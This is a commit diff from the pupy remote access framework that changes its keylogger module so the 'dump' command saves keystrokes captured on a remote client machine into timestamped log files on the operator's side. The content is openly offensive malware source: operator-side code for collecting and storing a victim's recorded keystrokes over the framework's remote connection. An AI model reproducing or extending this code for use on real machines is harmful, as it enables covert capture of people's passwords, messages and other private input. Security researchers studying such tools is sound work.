automatically save keystrokes to file

This commit is contained in:
n1nj4sec 2016-03-13 14:05:30 -04:00
parent 971591da1b
commit 30df6e78be
1 changed files with 13 additions and 1 deletions

View File

@ -8,6 +8,8 @@ import logging
import struct import struct
import traceback import traceback
import time import time
import os
import datetime
from pupylib.utils.rpyc_utils import redirected_stdio from pupylib.utils.rpyc_utils import redirected_stdio
__class_name__="KeyloggerModule" __class_name__="KeyloggerModule"
@ -37,11 +39,21 @@ class KeyloggerModule(PupyModule):
else: else:
self.success("keylogger started !") self.success("keylogger started !")
elif args.action=="dump": elif args.action=="dump":
self.success("dumping recorded keystrokes :") try:
os.makedirs(os.path.join("data","keystrokes"))
except Exception:
pass
data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump() data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump()
if data is None: if data is None:
self.error("keylogger not started") self.error("keylogger not started")
elif not data:
self.warning("no keystrokes recorded")
else: else:
filepath=os.path.join("data", "keystrokes","keys_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".log")
self.success("dumping recorded keystrokes in %s"%filepath)
with open(filepath, 'w') as f:
f.write(data)
self.log(data) self.log(data)
elif args.action=="stop": elif args.action=="stop":